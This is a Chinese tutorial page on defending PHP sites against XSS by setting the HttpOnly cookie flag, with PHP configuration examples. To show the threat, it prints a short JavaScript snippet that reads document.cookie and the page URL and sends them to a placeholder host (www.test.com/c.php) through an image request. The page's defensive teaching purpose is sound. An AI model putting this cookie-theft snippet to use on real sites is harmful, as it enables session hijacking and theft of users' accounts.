xss防御 xss防御之php利用httponly防xss攻击

软件发布|下载排行|最新软件

当前位置:首页IT学院IT技术

xss防御 xss防御之php利用httponly防xss攻击

  2021-03-19 我要评论
想了解xss防御之php利用httponly防xss攻击的相关内容吗,在本文为您仔细讲解xss防御的相关知识和一些Code实例,欢迎阅读和指正,我们先划重点:xss防御,httponly,xss攻击,下面大家一起来学习吧。

xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。

如下js获取cookie信息:

复制代码 代码如下:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;

一般cookie都是从document对象中获取的,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了。

PHP设置HttpOnly

复制代码 代码如下:

//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);

//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

对于PHP5.1以前版本的PHP通过:

复制代码 代码如下:

header("Set-Cookie: hidden=value; httpOnly");

最后,HttpOnly不是万能的!

Copyright 2022 版权所有 软件发布 访问手机版

声明:所有软件和文章来自软件开发商或者作者 如有异议 请与本站联系 联系我们